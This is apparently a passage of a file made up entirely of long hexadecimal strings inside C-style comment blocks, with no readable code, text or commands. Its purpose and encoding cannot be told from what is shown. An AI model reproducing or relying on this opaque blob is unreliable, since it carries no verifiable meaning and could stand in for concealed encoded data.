fdc8664b13de3cbce78693dc63f66fe7b2be1e876a6fddd73c8cda6278c31e7d40335b6514917fab307294bef37587888096b2c78e729067c5b14d7e1359b42b138d557802df6044f9b074431c197b92b0199fb7bc1f2360fd52bb86e7173ed10e67547629fc31d98e29154f63c94fd1fcd61f98ae94804fc8c7e59f37d29f9d1f33e42794df70bda26d99a7662679ec51f184b2a2b040bbbb77af0eefa8e6768d558f2ab325bb3032451163defce70a03bde377b357e0b7bda9ab61cd118a32ab7a367919981b1ba81a4d09329eb1f188e84beae00d016224f77344c20a6aa34b1e7a3719699ee2a17eda11f97e42d4ee7aabcbcc6ad87a8591b64d6141ab7c4841bc430f97b31e79a13af0c20ed3348af2dc78594502737fe2f3904d35c0736395f3f8ef1eef84f00ab435493073c5dd43bcc1b5599440329ce150d5c001aa83a07bccc74f36216c7054bdd2a139b797d9932a672a3d055aab444e54f4cb13bcd6baeac58f0f7ed7c02d6a9ad1704e0af553f257ddff9c92cdd1e2b9c87feab7efdceabbe423a9044fed77dff334ab536d87dc90ba3f94bc91b36f9826556e73a14e2836813469340efd8ea677036cfd169dc03d4596d1648d820b36fa12daf2c8ccc981f09a59de6a40ba642f178f4b4dc640030e874e68634613411f3aa360f9dfc7050b3fb0*/
/*2985966de83ac8ef09441ff1b3f3ef6b442073769322be1fa5a51807e10fa452cfd345e59ef389e12d6618982cfae9d1695aad48ace2a11e445988e4d0bbf8cde873b66e814480f78c9149bb55232ca685141b99cac0c881757435333c302e706b5c7c603956d9dae1ebac065c673b0f33a818cef58ab72102a493fe2c5527bfc9a2b74cad4e7a8d503e6982389f5446c70445c1eade0ec48f5601c7fe24f45f354ab16395f3b9342e87482f7c8d4f8b700565afdc43c775f580492e85198fcddb51b2ec4a50d2e8919937759fdc48663ddaf38a6f69dd8a465a39837fc82a392a802b8bfe833f27fb3797d2a3631ba588fe4fcfedc0e63b77bccfdb8e9d8c56c90672df851c72fc37287436e45b2c0f360f5d375de3b0d734567f326a852e790aaec513f6c18aadbf8ca68a3be7dab6df5c7509bd254a2829c55154c7de5b66c270b245ccfea4756ed17b265e9979cf95b67d40ebd201c063e80af9aecb370e944acd7518c1413a90667dd672e23336b37e9255c7ef484a91173afbde7a2ed462d94118ea309124b65712ef09ae97acc50a62f5ebd37f9a1bf7ecbd1c1c7baa8323659b692e0342609b0743bf335e6cbf8d869eca97a309d160e8ae32d37049b5633c26ac389e8811e4555a0515587ab75e9f1047abf0f12957ced2023c47e11a26af97130b0e8667ddecf8954ab946d44becd1a2af872fd83c7674b102ab5675d5e8f10d583cdd24b6c26f5561f622036d4b7d9d1ede46344e95db8bffcced1f170241d3ecdb8d1097f9cee44bda4b06509bf76779ae6e79eb96695fa5139497fa844e78d8d674532aee0318eb660f70eb05a41c1c08a8f78f5665dc31fbfd9166a1bfb66ad76a80f3a7e344d90252a9d16f44128841f113932f1efcb74aec21efd82d62bd2d77e370ab7cea3b9c42a1faf314d0a6726c52d51aa4596e394eddd91a8962bb7e41f0deaa450528d35612520c40a51be0c004175e1f027053d66130bb5bfb8592335d0fe81f1e970e21fd112d654a8aa5d644b8ae5dd2e7c0f31508041db5488b22633e37eea37d72682b29a891d047570cde765deb1239e8673d518fa3015da003a08b91e68a1e9f1026ca5d7ff267141b631232ada8b34a5e87109f390edd53c033d25c3ce1a44f7c3af8c688708796c3680a4b23be2feeee308faecfa3842fb1c040b9b6a16e82854712c7dd524789b844ca320bef2d461dd4fb6d55a232074c394f93d308d8ff0d91d6bc31864a589c9e6fe0a17987596a4b35d8f212d805c0f866355c560dbc5aadbcdd73c3d65115917af75524d43fb97cf70c1e44760407043b43ea745187d3f5f894cc7597385fdf20fe3dbffb61f06e8f2a585158e734e4aabc1641f42afc66219bcb52815615dfa1e5d7691f0faaaf86f6eba0bef17a2617bd26f04ac36d9326db863a5f630b6b07f8341041184ef67d1ccf29da9476af186e2cc1387b1b987389863467700321e3bee2c0aac02e58968242d4ae897759129feac58e637e528f7e82a1eb876a5a4ca912d5292a7619abd0f4dd100356d24cfef83a4bd9647b87e723a55bf537b96d97b92f4bdeaf01bd40ea49472bd2d49799ca049d428d4f5d8debbd88f2f93d49c3fd98007f792ff1da4d8e4cff3acc9f2f4f83589eb71869d8c10da5fd85427fa64d57cd92e54ca8851e286b9f371f6d2db0ae0c6b276eb50e51720426f76fdbde0b31f955ccf1f68aa377b2a9d26bf3ee10786cf58c0e8da336bae558fa6a067c5c0090256399b237e325ee5c1228d322bd3a834efbad14dce25d96da47bbe2a6276e3032506042904b7a5582eb4d3b65300d35895a7cdb33215ec08fd4839ad028a3f4aa8f88b12a07a8d161e7072ff70c36530e511722dd5c47d75e9527abe816b2096ef9f2c92f6888edfb4ed645bba57deb823b3713479079fae63ac69125e9165dbcdc4bad4545f3f1de3922a7fddde6baecb0a0b73725bb6eb1bd370969359f0437de24ac412612dac0f0639d9fab386888f51b6d946c8e1b2c845e7933e126badd9847d21bddf169d467a6e30fd81c6944332a6c05db9129d0ec734fae97fb481903e852c0b8714f0eccd758a981c428afc318502989657f09fe06b16313772929894f34b3535a1bfaf87aff812e8600f8b38f4a8f91d399b09a63f21cd6e783ab4516ff6fd28f10a90bcfefe14c95781c47d8a3649ac3638f1677fd532d5d86acb10da79e51ddb6a3b711a4b69800e4e0cc5fdb9c52708fb76c5f579c2772a2c5fe326d125387349fa6a091143d0e618ff95b17a7a3539414ce3e944bf252ec528ac4e657e153108f3e6f6edc81aa0412b2e45b01cc32141bb86faadb12f4e7b8adf65bb7572d6f35e0df47eff1f044b67f20a4a0f914029a8c20d29ea7fa20980840b562977c18e9307ad946b5c612be183cbe6d0ff68ddbfe9c1d91d4e87d1c855c5bd91f28d384a16ce9ff14dd9166349d00558152beb1f97df71053cc1795c5096bb5d166a803c7085f5b135ebe53086180658e62795e94bbb74fb825e9af87ea215dadde1b7e2c1c02eff70b87289f0158e6878e70ffe4fb85ca3599c8258b9c084c48e61590237189c81ac07dbd50245187548d302bd2f5b576d7c78a6f4ed2d7371a9a28b3673d9d50d7454462fc6dc1b6c42b4c0bcb253fbac64f71cdaf82051a7182603c371fcf54136c5892d183285b419404470a3d58a5f3ced4d3e3bf706e0fae4a01d7b73d05cb646c3f53864bc55fc34be0381df3203859207b0b45468fb20689ad7e1a02cf89aee9fa420bbc69f3f6e981d312439094a57cd59c4226f4386a7ff55c49cf6e9fdf1c085c*/
/*449e29b6fbd2741d6e3a35dd46efc0c1ab30dd496557a31ce0a6e6ae2c2e184ecb57e0a3d42a66e73306e81af6875f34b57f5f35eaa12b0a1e7e3fe1d73c6c7d95fc38139c1bee482dfb4a224ef2b56f903944e48aad1fdc1c07f1d01afcf8044520eabc83bdfb7efc5b882c38b2539488fb5b214de1da32bed5391a578302b795df5a18fc5d9f63c9da9aa9e581b03c27c7c5c33c97d62d9cb904b0aa23eed6c5cf66da0bebe4529d462ed5506b4bb03d35d0efb2c4735179f7742fc21e5918d806aeb9e67f55f17140fee52cdb41f1d1aa5654ec1ad1bde99ee77727845898d3ea1b19024a3ef46955353e84d4b7febaa59291de91c7a8289659315fe44047577cc6fbeac0d9f808083ee78aeacf6542be10d1ea8ce423d20b76d602a7931ba3dc13442c3587cad9f7b362686e1a249bfb267ffb5e88874ff1b1092b79a3e79ba72ead04ef8cd0a67a93534a2dc9c02ea94bdc449c2ec0729a546aac608f6db122241a1c3e893916fa1c50169edf425125f91c80af636c05bac147713f4b191c457fa749b297b509b90a25b1e6a0ee951a2039bf6aceb4e9437b8d991448a7d8d52aea239b0eef2f4df9f4a7dfe65eb0d060ab90a0907e1e524bd5aa42ef39f3ec3eb2488bdadc6ce01893ff2c955a48a457022e615e338015ff129bbbb3a75ba2c118c041bd6c2ae914bc0ef485a7b208cc366fb8fbaab0545eb6e5c8738ebdf82b7311f89ab9c984eb1e1c8fc2ef6ec95bcd50710e91ee29300c14e2b55ca53cb22c9068283bcb1a051c7ccfff58a7f135288ae5df1ded1b2840081b5e4799f8296bd20e174eda7034b94ba52a7f8dfa5124b3c444e0a12bf36528a43ca44c46c02e72533e25b81549cd233e909850c3b0ccf4a52705e45c74326592e82c82287c3363ee35dc347bde002c0fa0c7c0fd78c829633f5233cc99f52c901685c70524e59b4f40a9d382497971930bd7bf9f5fa35f2bdc59f93cce1d3449710801af0916623ab92ecc962c36ffd1fe658305bbaf162933e843aa7b3f1fceb3f11374bb2d401ad3a79f6e12b78e2dfd8c9e11c1259b61c0010e212afa9263f244bed8af6c0d76e329010fcc95bfd25022c7c80c93ff9d5fe47f53ba573f2f0d6fea48ef2dbfa5bcabe3b15e891cc17339d53e781a484f6000112364011371c5e9ce2441072c598cfb6bb557943c343eb330cc1955dea9f97ed5ffb01825e843967e007f2ad55584eda9bbc692aa52ebef7c1bf450b9e617136639ed7172214536a6b1547c8792f9aecfa90323ae1c6068bb9c6c73fd7133dc43675714c7eb3f196f4b9e1626abab7974f50c0e7779b95adc398bce19e85628fc566f853b8e7dedc8ffe5045ccadb40142f503c4e6ebb2419f48a31bcd2a7bb9e4e543553c157886082fa836c0dc0462e8cb736b8be94c68d0bb5fc07c6ed88c4da6068f7b3326915af8444dc0cdc8a296ee8495b606870e90a27bf305967311ee64245547702ef9cb80fa9133d245e7ad55bdff0ecbee16b85b0786e7d224d11cc56b982d78d8a77e0062a3019de318fee28ffcfc481448be190737124814598cea515e0dbe8cd820eedc3daf5d2e853aa80e27be2a0fbc68a29d05a46b4a5203c0af9b0115768886e01b617c875c933dc366691f8a25069d67475f9ced8c55658fc965ef90996f8fb90b932bb389068eb9bdb190c3ee4e3e024584d05b1498cca0a1435e622229ee15ab845b7a38c824c18beec0c94685ec56309bfff99121e8b9f7bfd180b0572152579a0bac91c8829c20b75a6110d5d76e692907ae7ee3e7cb2c7a5f34c7befdf14c2acf1af079b3c8259bfca07b254bddd36dfec96bf2288299b7f2559ce64f77bdb507c4219961ab9971f9dc33ebddac57afef350b5c8d7ada35f2232ecfea532018cafb036af652480f828c543fa2514888dcc060443dd86bee93ba477d9bbd932a3b49830c77b6eee65175cf063b4cf0279124843e47339dd629bd5cbf84c8b05049284a3b899593c966c9e3b78684208a09975e138a88eb63b2baf59c9a5e57da9f28d2c3278d8b238b7c804540d1febe4dae6238100ef0a6a0b5bbe8d9067fee65e3c459250560a529b6fefc71df125b8485fc81936aefce356ee847681d4e4a1f3f64d69b0419207badf65e3cd861c400f4f8cbd19942b599228ac64894bd3b254007ad8c1458dcc05a3a2e0356388a691b5e6c494bc4e6fafbaa6bff89fa29a357f0b7d9dbb4aae82f548d598d3fece8f2922c709d79521a7e28b4a171e890e0b2af0f0194b7991c2b182e6c87e89eec2e8395c0d299279767e9bd2b52f9ed3a5d6111b72d1210e4c65a3fcd1fffd46e246a031662c4f6b6d281471999700ddb57be182bbe9aaf6e88c8414404ffa2a389dd48936b0b263fb8b225901ee0c5ef145e6a43c89f8920925a72509600c1572d8929c2644e7d804829a253520f234c1973acb3e7fbba959c46ececf98ba4da395d2fe0f9e9e5d02014edade2cf4b5c8cba26b0503b3fa42341c6f45c879eaea10c1aa0d681ee08aea87550151d0ea0e4d79d73af812f111795052106f0fa3ead1b1a45a3c86c4e322536234a6bd5774e165d225620981fd21710ff3ab2fe74bcb279251ad5dd7a96566a3b7d49a56b9727bede70b3b0ee1e401a4dba25f3c846ce86f8df600a49afa7be19f8c160bbf33372f4a347e6a74ef2d0d76713b24c3ab8c65e7f5044ed82e145b51e8542c2de922d2388de1101f21a782c3c17abc5cb0f94a9ae6ccc479967e73f1476e67729cf70e3937fc46f270729c86d75ba8a45a5d805326b4cfe452297f9293b570d92ba2e40d4a305b18a587*/
/*9d4a456559f864612bebcb3fc1dee74035c8eee73e5c66def0ff8f9dc2fbec4d154f16b382a0c1c518c9fc9dc8728626315e485bbc4be762c5349f1fe624d1fc96810f7495131d52cf562d9019bbc22e3f5d7b2d262e349a5454bcb6853bd7d511beb7cd2b253fb9e9cacfd2c09826651465b9632e3eb55f7b641065836a5cba32f317fdc101ad8efa263c7cd179959c96f68cbcc90dd0d27fd2dee592c598448ae650e46e3ed03d198a6265c1a6cf65fc936de5220a59cc820b75ef8968d1c17417ed271b1327fa5dc74f06ae58de3ce954a4f4fcc6e4728f88c069b8ecb7c3f40ddc170846515e8773e76e8b037035eb160f74f5362feb1affae4125e74248d63f299ea6f95abd9881df257115b8cc68e378264cec8f7fa25a7386e6276979315436a0e532dd1db122ff3c2565679010bdf58afb2c1e595caa47b76a46dda7e277c47a2b1051567ae1173383a716b10fa493fd46fcc8ad368190fda9d5a3d5db3ae5ba3ed037bc18847dd6346e525252a10a330744281d7460ca33accc6fdd5b76cc8716429a4b55b5b09b17eff5f18d69a2ccc75647b0fe1e0257b4512511459a80ae19b15f81c9cfedb98ba5af20ec38bf97df52966279e3d23be502230698cd7734b023e381d522265171d41e3dfc839996de61c0a53cb523b94bc4e0ef7ab39ef1c5955fdb72a3480b41ac8ae23219e7562565cd08df99cbcf0cd8fff2e1219926b46e8ab2cc5fbd76fef6fecfaefd42f3adc1e442802da77d62e9e43309953534352d296192838ebee5566af8eacd575f0050d920632d4f6ce517ed85cf41a3484223b9c38369e554d38048e51caa34be6a283375ee1b0cf5ddd323a0efdc8b2fd1f4eaf445bc56b9d67b12fbff98f493141c2649b8ccf961a3bef95c52cba5724dcd9754e1dca44659c8b01742975a05d68c372578bb0f3e16f5d1612c01ed956e4e03e88936bc7e5b69b434400b2da2f4d2a6c463a1b0750e90f04b0958f2aad3e8b489481f6a9973a7f5cefa6caaae2dc1f14a14ed60e0324c852dd2a9295363655a900aa65653f850ddbcf8f6f4051ac68af47c3fc0f4ab19fb5214f03f8ff123f7b710a629f3fc2f0628452a34a4b0f552bbb5d2f491c77ad7f26ca3e6937ac4d31f7c6a7bb34f2218367b2bc7b0471ed856a5223dc21d74db332d722b4b1a8b25904a1196a34da26b50b061d9fcb2a7e3af9f774af9f8489f7ba702415d4d9d2172849d23bdeef095d72f7658a9884897d94335360f503ed37ce98095e43c6c636b54d5d195522dfdf804f355fd1b40477bb8278f5119ff98023481574cbe6f78c86426d2085e307186a92afd4a073e6fdc8b43b3ea4b80625b3c0fcd9b986d351645b59736dee203b75a1ed034f71f5443df5eba17dd9256ebb0cb2f164aeca00a173cb7c52260a69aca3bd9fa2231d3736be32427c9af827d9171b8fe10350e45a826d66a4e81e3e85c6cc0f9dfda4894fcccf9ba41ee30b4922a8c2908871ece3f535cc68b626a498baf22ec0640f4aa97ecf705f72c3c3edc129ab48709e472acda437db532c2976a38210eccdc695e2e9a13bda397e5afa9409c1125dcc98e001232cbf5968f90e5b628d543ed69bf6d22bb84debe5bcce16dde66820f863d9aa5e8430ca16e5c6f9ea223618a8364e40f1b684efeeebc30bddc7392573817cd03988ae16b965003e0f5672b3bb8ae510676cd9d7bfb045fc7af8ad26d0b9f09a5c1324eda97c48d813c652d706ff8104bd07f0061acee99b2d356da58cfea1a445aa2bde90ed9ba1f75fa70aebc1e05c94af7f98e3754a54f17f3c784b343d7719ff10c6ccf1f1d041f5f9e407a3af49a543bbc6c6a53cfbb75167f97b09a0345e6b7e476d95083d5aa8fade5116d7dcc9109552b4911801de8b4e2548d535c8b2dfa3e6c599b2794af09fa157e5c3a52a49859a0f68cc128f10ae2755e7da86c8aa2eafd327238fada31342695b1492377bc7b0a982eb972bdc3109b7a7d46199e36417eb30cbf9bce47c18084969c70e1cb50e618d18446f175ebf87c30cf66774c7800e101ad4e3c77cd83d36f2b4041817990149b08bc3f955a05fc14d5afce59a067743a493d6ea28e8eef7b6dba48bb64ce19506285af208a77959371a00688974a03f2658f731704cd2a063d923d61a80294ab78a61f1cc3b3a6446bf52fe6057a2782613c36970cf86f12fde01aeeceba6dbeb4cda3aa801ab56b67461ceb2c8855c5638ebbe5571968b5fed2625b07a8c3242a6697759fa80d0d03e54f1277d8b407aba65169b49391a6864aa8c8bf73336c9b3748e4747d0e3e1c462e6601dbd7d6a1b9f56449b1ed32a3aa9093e5768307253707f8a01ef737651588be26b4fb3d57fe459bc05f487aa2a582bd96b3f4e4c0e7965c03ecd5f8efac25868ced583b50593a797a0850f94bb1302b3e5b28a5d329c5e0630e470cb6fa68b7171eaad2349dc8330706d3431b88c3c9ea96cf7e9adda5e8292bffcedf2e6e987f449224af5b0b6598bc4b51fb90a42c51d0394f08599588621fb2c901a25b9d7a9b9b5d790bfb3ac241953a4a25d4a4c8ced394e4c8f417e525b59b7fc07a0371fdeed7115bfe37b88edd3ec169cb099716ddcb535824159b97b3d7f08183af539cfe3b22cff2ffa21f0345ff903ea92a7c585993d035ecbfb50db21e392dcbbdfb730823b6b536b22f2d3cbafccd313bb5039a78e946e340b20393a54a119be3e8705ed6b1d4b3c1114c18e79c5eebe3c54507aa5b0e3adabb5962b5ed29065ea7e3464b919837b202d81e6549d54569f24fb625fa38d98a732f4617396c752ecc7004*/
/*aa6faa307c7ea802ce2d4ee44f10cd1168a07a0c65e5c14473c23efbc43a6ebb4ef6697a9c9d380d1f9d9e42756e4666f12018da165664668002d819f33692c479458edb69f41209e6f7b09fbb75f445fac5496c3cbd56293fe6a1ff9bd70f7517a617b60c5562fea9ec25297227640cc9224cb66b473d443516b78aa876222d39e51e30ad2145ae383c8ad951b060962c7dd833ddcd99f49f7ea165ffd37e963728ea43d20d2fed63c85a4bba07f0240b7078427dcb5ad7b7ca0e6bf310ac40fe119971efe84ba5d5b28b7ff5bb42a66a6c56a892d9d3abe727473b2e56339d005b0abbf92d5756b3664f098e725f8fc7df19d23d83d482672f8a3b78b6d0624f6c2110829df6466a45dfe4d1127802f7a9265a0148a28c994d4de789017d92e9213efdc83481a224eedf26760cb3234526efdf81aa40846a47abb2332e282b2da7f1b52e4977ee4f690db5684f883ff5aca9556e2da893485eade79a74c5e2124c7463a09144e14012df80ff7160864bb262f69b418055b108d35a9dad44dc428ccdd20a5fea21ca2d85a1206c6f90fe77ee3ce71f2367df54a15f815ea0746240e54b51aa6de68a332504c1b1c2ddefc29b550e52bd04397cdd3b76fb5fe47240205ee0815d5e51411e5e30b6916e8fc9f112d9765ec688ecb07045dfeaa2f4bed4886e2d1a5d0d0967dcf2e591f4bc4aa3cdd3d7146c282328fc1a67a2c5f298a6bc2c029f931fe6e2a0566dc11bae5eb11a62de3fdfc4427d018f24a06da3c2bdebfa1f9752029bc3399cb2683d9393df82e91f323e4ef1358607c869c3667df2bde9549bafb6cb11af3272fb86ec8855e5bafd5c1493a89270ac0ab733948d8b5e8cc66ee902a6b7ad98cf5dbc1b4621129d6b613bad21af50dd7a7b45b8ce5322fd86d1f58f73b83630aefd8a169b98369139f745fcd0e11606e3c3de71ab1738c95ac968b34f21e486d270793948ac24c6e4c0a495c42f83c1780068fb7dfaadb8be9deb5fe7d1936d986cf4a5cf7f6dda94809dd79359dc6b2e9ac07c0e85d5788fb119689f5b03922ef0e8e4c6285def1173b8327403fe1cf8a6c7052970382e3582da72aa4b2249ee0443d2bc1e2d343ce005d401ba446d5ef555697027cb67300278708fbc2b7dbe537f14e34ca2476d7c19a7717d63ac2beaf70778349e1ce2f9ae3a570f312dec93bb51b49bcbab7e06b828c48a3c6a90fd195401135bdabd6d6a09123f114924b3b936f5b3e90000a7f57dc3063dae68ae60ad481b8acfd7014e272e0b1017284f281929e7d8baf4fc2baa0ddb8608f101b0e2c62521f6dec472f86d7599e4c8e339a3473e516ae44e54a93a8c6691a2326fa7fb6eb9f0e8f716cdbfdc96e1b287c3213fa58041f4766028425eed49321be000392488d2932b5193719a8ad6a5be4ea36ad817e14eb3c4231ac32142ead2ff9337788ac38eabcd67ba3f57144dc8f7bea673b1a7af648788068d1ece6740a35a7aaf945f3966953b46d881bf68644b9f70c94cdf94da092a7b17aa92f2fc7592d22e8e7fd3b8fffe94c5160e56eb871e4c0fba864668a5bb02ab7c5191197d26969a6a691984cbd21ff1c1bb1193b22b6bf172a449927ffdba8f2281e6695df76f12c56ebac25a14242197909aef5bc92d223047c74599516324de69d95fea98f7023b5f9fcaa54bc818956afaefcb53ea9622303b51aa5ec1e33ea5d7ab63f8edfa208c02bd85e823c7e5ecdf0ee004c12f4b5ebef7c42b2717918c3514fcf60e85582ff6b1066932227568db597a0b56e6f261c17d0fdbf3f2928224d34a30e940762ff2712f3b450bb33bf4bb3fe99e2e85ab44651d337546c3bb3fedda37624968d00c783282b3bd900e53751230821c7d1f74f83828bb1b10be8b6bdeaff2560dd9b95b6cdd8384b00c9b24b9c2bd72e9af2bae58d76753e621454d3099360c746694cde5305d53e8e96af2b29388988895916855d839cc79437bbe01a375ec6d8b3c4680f0758c7ebf42e4d6f82778fc3156f181b746edb7a743271d0ef0cac9445fab5cf74c2a74632b24d8ca674cb3fa42f7b88b7a691aa0c1ed0eee93ca63b6887ee62ec344469887e9f2828722326354765c7197c34bc7fed60aa239676ae5aaa3e4a9760334ea11eeb5178fea715a9afe6e4d6f8b211a227927d415360ecd442c647bd4fac56b651d358cdbf8b523e54624b323109d7c91951f8fd169fee77c7213e57ff394ebaba65c9e841b18df3b755f3d16e7834dd2f37b6d95a45b574664033515c2445483a826eb163160d1f1db8955a0c2c345c37fdecc8040f0bf30d73a5e8bc0ce02fc00c15faf0093facd770421e2773db043418a1aab2156fec89146a59b945735b399451e8a4fdc07856062f1a8c2736b69d5932ba34213bff20cc46997fa6b2fd16d73500aa19074e4df91384857f37f504655ee4c4f26079fd64b196ed6fc6bdb3e3e878dc9c93baf60c7567a038da69767fb2bd06c9016e02b5968658010ff7328e743b5cba3a85d59183c061623a519293cc7d858491ca4ae8c5a7fd7515543581b7d90aaf11c24a2ff6e10d7cadf1a53db80a71f5d997efe908fa4ab5551dc313e6d0a9891c693a30378221b5df4d9cb14de7f99c1acfcb38b177bd387717c4cd4a3a77fc6ece4e83fbbef60ed871405e6c699426fc0a42709f898d7fe728375f4455b45b235bdc2ff9a77712bd705b99c3e4c4e0d3ba8c3f709d6c1d77f1e12ec3eb7f4a789ddc83fb463e6005edcda504b416bb8d773dcbcf7cc6aca3dfcd5f39517e98c32a1adde3f22c042c3a38863bed9403f80a66e5bdb0470bf13d4d82d*/
/*75163faeada9c5fceb9af263a7316935384db1ef48e92ca503acb4557902a79791f44775a1167038cce2dbfb038f977ceee6f642d6719fdf0c1e70da7a16d91b47f346e76c32b0d0f08588c72395c27007c330438057956a46b28a1f137028a09d2ffa20f4f060032d3453a832b2723439cb7e9c1adadb6baca5c474390ccb91a66cdcaef80c81cf4a9004b35c86ef3aa66093680f803ee592eb1dd26c22daac23c5bed137c6ecd7cfa4e0e0cce0b6c4b5a967f24655ad58b1e7f64d36369a461394d2b0b3ac534b96e852a69314346cb9daff72ca341731edb9a360e6f196a4eee17f1cb1cd183ff52b0c1c429aa3629e1a099e6be28fde90afacad0758d23900ee7820d80a1d3cada992007b478dd5bcb96a6ad1625db7f71bf9d2da21485ded71a6967da39d74abb50d64e11ce55e424f72354f19255245a5d700982c1feb9132bfb13a738ad4f14850d97fedfe8a8267b67fd698b675a1c97a8cb95097d9ec2358c5b4b6fedc173c789e12c09e69c028273bdda7f44458f58e8f548687454bccecc1bd29b2bbebdcaefa2e072b26891bc3ad2d7780a71de524cdd702aece9c7ba8fa9a01e0cbf397828b7f9f699ba4be9ed962af72968811c43bc234285e9e989156aa3994bcf07518af0c9e2801b9c0da0321252661e12a44b230b1899fda96780537320a49a634e3dfdf25da4761a4354f38ab069dd86d4ff6783130c4a073af5cb635eca7acd317adaa2f9b1a08e7fffc387007a5448363c833ac327927ca64874c76e27d4367f92591d0bc31137e3bd7f66754eed9780ab341601dcbcf97bb55db78f0e262a804795d349e473b7b7d8293ea0b82d5f44deb7417a98bf6d7ddee73cc5176b410c0e323f0abebe31110af1e341e79f2c56b253d33cdfdb541b12979c0195c52e42c4374ae34c095ea8a8340e3f38cdc57c6e6885f36ec9187eb81b8dc12e6fe26554206c8a33c8f2126212852a0aacfc950a18745ec9a6771cf583253c77d3e6ac3a3ccc10515de89d0d2b4f3c0728d7d515dbb3cdeafbd897d4f0e19099414d73a1ebb8568b160e20a9609df869ff387435844d364199159f12bcefd16d0b14e3184cc4952422946da5fd303036068498e0dc9ecfbabecf433e10eb0680e19c7c50f54f187aed7e9ed4383825e667f090a5d8603724e0f6cc761d5598c23646fe12848076693cf1c46efd676b5022fba98c1a4ec2331835839fe7fa0605be71b78614984f5ced92e30df18182fbbaa8bd30f4d54027d8367c6611bf57102ef8af713e6bcb576a846cd4c3f6af8c661bc2de1d2fecb6985f8db1d9aa170c95e1994c734c8779a9b09b07a734cbf5e87230ac6b87755ee6b8ba252b0a4c33489a2c6802c6942f62d683cc1a5184659852b803153b109b1892e48d09aa6cacb853d9bc6c7bb9e67b13c69406abb50489a0c1bfe380cd36e711bebe66e9591495ee875b555d5512d9eb657629c066c38f6a823353aac8a13476af1895a36ca0883e2a5137ece44cd2438066a728bd40db681cd866cfc6348a9d943448d198abbb0342a6df6bcfbbf9014bfb9a9fbf1cb98f8672016b8c8213e3ab4dfc9c26f8283610cf1eda23674d95e03be9032788d13be5e7ae61a3cdd2cacaab7e1b192dea51e502f32db49378df2b48f6cbe51644e4fff234d0c48e8ac89872844b1ccb3a6077520121562a97c77f1ac9263ac3f812a4420645f9faf7a0e6085c7482f9bf33815df77dd928026100439307eff2de70809c478dcc6bc293e758af50c85a118dd3264d5c898c2d49a4e5b5de19c9c245df669780383606a738e37051f61926a21bda84f5baec8df3341fa4282ceb1ccc9f68937480fbadb2d42968547396b5fe90736c8aa16a976cd448b8a06958ea97d258166be07efd7c89ec89d9148ec941cc3927ef40ec390b35da4e57398d2df1cbcb42a87ab0d8797cb51e4e859f3c6f711b323c439b32689eb0f80fd513aa0824dc282cbaa347aabc6b49f8ad68c305969b243a92959d1ca283f8893354846f052e32f0b2d095f8615562379bd350755590309b0dee5df0207b0ea4dc30be1a9dfbfc6949cd612ba80460c8d59533bd0bb3abe82a93d02fd44ce54bf4fd35e8b18d727a366940b728509c7c4f3f38916486863285ed850d3ea54230d030aba73a7741261b4b9944b470857b15f5b0614690b64a576dc1c69ee8799eecec216e2435b0410d9ef6149027f6f5f4db05850ea6f0da2e2b0af8710cf97de0354989078eae0e7bd38aa0614203e808417dc9850b2f3997504f1cd9243508b240c58dfb1f26f676356393037835d078657cb6f9a575e8fc9bc87593bae82bd2b22ccf33d39d051f5075642a4e243968447d723dd13270f2a7154cd0b27847abf5347347d8610875ee79cee1746352358b933ed0ceba5818cd881d62a1ad4c6b85c35cfd7b23145b06b1e61f758e7f98d56d9f387d5ed5a7d96ba78e6b46d97357c5b4483f2877c37c8517a82e00803def8f74075bdfa933d771c9a818ed7190730a078f7ac50d4b77e355e5353af30438c1224d31ccee7d1992a7dc18ff6c39184ebc62d80b4f76749458fd1711996078fce6da02efe8834ab766200aa254e2cbebea99509aa6fe5778799f564d4e8c2a946c58ea54bd2238a1f6aa82deebaee9442992af307a50ddb9460c6a98e23c5b2ab8c01fd601664994abecf76a5cf58c661f0ac40f12335710050e1ea8d94f28c96c9515038ad2e8bb3233f45fa69f526aaf043b7727d54689b0f1539d18c6fdfdb8ac207479d6d1bbdd905f3334fdebbe5cc7b7f7f8ae0683c09c1cf01eba88186b57a14051def60*/
/*d50f48a749ae4be6b81abd4d76e58ae0ea6b7fc2b87693d2ec076a741afe1dd3a1f83820a8a7dbd6e800d0a3e52c08955d3d255770a40889bbec67b2bfdd63dde6bcaf0cf31946dff8d0377231c497fc80329e8625b6537a8ddf83e1da6c3516a499d424348cb8f4f843d3421970ac554ece2495ecd8e09b1f6746cdf5153f21e3b5af6b689da4e21cfc50a76d8bc9a1ef559fa6fed651d452594804886c45b833cda27d1e237ca43684b7876c99fa483e6dce0ae9693b8ca1adf8b6fb1ace7b0c9a10f6d734274772479921fd670271c3744bcd713a84a0a60b43c77b89a477ae3d22ee6e34752e898e6194cdd2b84cbc79256963b639906b2d9b5881ad2cff4b7332c551312baa780d1325b50d7f9fc330b73f1d124bced6098a51d06e50bb97fac1aa99460a96828b9fb822b97dea50742bb488bbbc9bd5875cba2f2d4b64dbf04a46e6bcf461f854512fde0c334a1b92d792b4e7ff8eb0c8ef9fa3b255ef776f23a82f17f224cdbf7209a39b37718445c7972452c7eb335a5134c2e417498154c7611cdd40c49b09f83095d4bea810b29eebd1c6d93374b88fc77f46a6ad1961eeebf090b10cef0d45919d716775102fae451f2973619948960d474681dc6495a908334e9ab193644d46983f87ba1f30115841048d0eb0905149423e9af5ee0dc68cc3437ae902b3bb803f444ab7fba18d982dc864db204bbba6243524a83b1dfe60bf120ab3db64c2fab80f861d5d4f1f098b2c4f149b53b354d47fc3ac568eb79731d41d6521e94d530b6796a306d92305fd148ff4ca373895296e24289311b3b380a994c0cc90ac259bc34a4cbe61f9b57c3b2fe85c4b5e9238ba99834aa43afcb59013ac2f8797252ffbbfa1dc52d7fcfd65689569c9dac57ee2ccc8e1c086e90c5de346e22982452029e397c6b7317bcfe456c79c948da87f2731a8adf0b9406fb3a3e43ee7585b1eb3db4ddc500fe8a0f12825656498a2901e6240210734a0a0a110d2df9f3c009c2ea54d6d1ce2aece1ac00dc76a56f84d8ecb4d3d38d46e98a7f01594c82f2049b19a5e93b9aa696c4464d16ab1c1fed6c5d44e33d032497ca495e41135bd314c8677496ed1d062beca37d946bca07b29f3e20e32e07c2d243ba2a84c27ac1009d0c332cb10fd6be2ea33308349bd9ad6d90ee6e82286d69ccf8f549842267308a626fb6e3303f4525546b2b8a4abb65e7a2e22a6037946b7b6d557ed23e881607fa78ec52e521206120975b7f8093a6e94c04a414be17bbd678cfcbc707a3be19d000ec758342c9dd0b57613ed682d6beb0b5c8735be89281d6f3474c0d8b7e6d91a5943c4ecf00e69b9da4b316741e94ee77b17f413ca89115b98760b263cc2e5042322bbcf24d641884aee4816dc1